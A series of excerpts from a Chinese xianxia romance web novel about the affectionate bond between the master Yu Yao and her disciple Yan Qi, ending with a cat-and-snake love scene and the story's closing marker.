耳边荡起猎猎风声,半大的少年大脑空白一片,直到因为跑得太快,不小心撕扯到了腹部尚未完全愈合的伤口,速度才渐渐慢下来,从少年模样变回了狼族原型。 灰扑扑的狼崽体力不支,一时不慎,竟结结实实地摔了一跤,被迫停了下来。 烤鱼也从掌心里脱落,掉在地上,往外滚了几圈。 小狼崽晏不上管被锐石磕破的新伤,立马掉头回看,才惊觉自己已经跑出了好远好远。 她一半,小狼崽一半,分配完美! 听到熟悉的窸窣动静后,虞窈面不改色地故技重施。 和昨天唯一不同的是,这次她直到天黑都没再现身。 不远处的灌木丛里,一直死死盯着虞窈离去的方向的狼崽很是疑惑。 她不回来了吗? 直到夜幕完全降临,山林间回旋响起某些不知名鸟兽的啼叫声,给人的感觉怪阴森森的。 小狼崽走近已经彻底凉透的烤兔,猜测小神仙大抵是真的不会回来了。 冷掉的烤兔依然很香,小狼崽吃得狼吞虎咽,心里却浮起一阵莫名其妙的失落感。 在树上等了一整个白天的虞窈也终于看清楚了狼崽腹部上的伤。 那一团洇染的暗红色分外扎眼。 她歪了歪头,若有所思。 毕竟他是半道才加入练剑坊的,进度跟不上同门的其他弟子,需得要花上更多的时间,才能够勉强不让自己落下。 天不亮的时候,虞窈就能够听到自家徒弟的练剑声,简直比山下打鸣的公鸡还要准时。 夜里该要歇息了,院落里挥剑的声音也不曾有一刻停下。 虞窈怕小徒弟练剑太辛苦,于是披上外衣,推开房门,叫来徒弟跟自己一起在大半夜吃冰镇西瓜。 徒弟看看手里的剑,又看看抱着催熟的西瓜、无比期待地望着自己的师尊。 终究还是放下了剑。 师尊更加重要。 但在见到带伤回来的虞窈的那一瞬间,晏歧就什么都不再多想了。 满脑子除了想把伤了师尊的那只河妖的尸体弄回来,剁个稀巴烂拿去喂狗以外,就只剩下了一个念头—— 他想要保护师尊;想要剔除掉一切会让师尊再度受伤的可能;他还想要师尊的脸上再也不要出现这样苍白的神色。 他希望师尊永远都眼睫弯弯,笑靥如花。 晏歧无声在心里这般想着,殊不知还有一些别的东西同样在他心底隐隐萌芽。 只是师尊教他如何钓鱼、种西瓜,教他各种厉害的剑术术法,教他该如何为人处事 师尊是世界上最好最好的师尊,她什么都愿意教他,却唯独没有教给过他那些东西。 所以现在的晏歧什么都意识不到。 她挑挑眉,说道:“谁说的很一般,这可是为师亲口认证过的天下第一最美味最好吃的青团好不好?” 徒弟的语气于是就更加无奈了:“师尊,太夸张了。” 唇角的笑意却丝毫没见减少。 虞窈便忍着笑凑近徒弟,故意语重心长地说道:“晏歧,你知道吗,现在这年头其实早就已经不流行傲娇了。” 晏歧自是听不懂师尊口中时不时冒出来的这种新奇词汇的。 “师尊,什么是‘傲娇’?” 虞窈却只是又夹起一只青团送入口中,等慢吞吞地吃完了,才笑眯眯地说道。 “没什么,这个晏歧你不用知道。” 所以,小师妹非但完全没听进他之前的规劝,对自家徒弟主打一个放养不说,似乎对此还感到挺骄傲自豪? 虞窈不知道师兄其实是在心里吐槽自己。 别看她现在瞧起来这么安然放松,她其实忧心了另外一件事情很长一段时间。 要想感化徒弟,不让书中的结局变为现实,光靠她一个师尊努力肯定是行不通的。 虽然世人常说,好的师生关系能够做到亦师亦友,但虞窈第一次为人师尊,没有十足的信心能够和徒弟达到这样的状态。 说到底,徒弟身边还是得有一两个同龄的好友,这样一来,徒弟一些不能和师尊说的心事才有处可说。 相反,师尊对他很好,特别特别好。 他喜欢师尊。 所以,晏歧并不介意师尊笑眯眯地捏着他的脸,让他看起来比平时呆了不少。 他只是垂眸盯着师尊弯翘的发丝尾梢,像真正的小狗会做的那样,主动用微凉的脸颊蹭了蹭师尊的手掌。 “好。” “师尊,我会多多吃饭,乖乖养伤的。” 他是师尊的小狗。 他听师尊的话。 “猫怎么这么好?” 那就是很满意猫做的这条手绳的意思了。 猫于是弯眼笑起来,觉得这条蛇真是很有眼光! 她没有告诉晏岐的是,这是猫第一次把自己的宝贝送人。 而这也不会是最后一次。 有着猫的爱的蛇,今后还会得到很多很多猫送给他的宝贝。 慷慨又大方的猫在心里这般想道。 诚然,虞窈并不是非晏岐不可的。 自由、阳光、花草、飞升每一样于猫而言,都非常非常重要。 就算没有晏岐,猫猫大王也能在自己的巫云峰过得很好。 脑袋里装了许许多多的东西的猫更不可能因为晏岐就舍弃其他。 毕竟,小猫的爱永远炙热、汹涌、热烈,可这并不妨碍小猫自由。 猫绝对不会因为有了爱的人就忘记了自己是小猫。 可是蛇对猫好,尊重猫,喜欢猫,猫就愿意给蛇百分之百的爱意。 于是皎洁的月光下,猫歪了歪头,主动蹭进了蛇的怀里,理所当然、又有些黏黏糊糊地说道。 “因为猫爱你呀。” ——【正文完】——《 》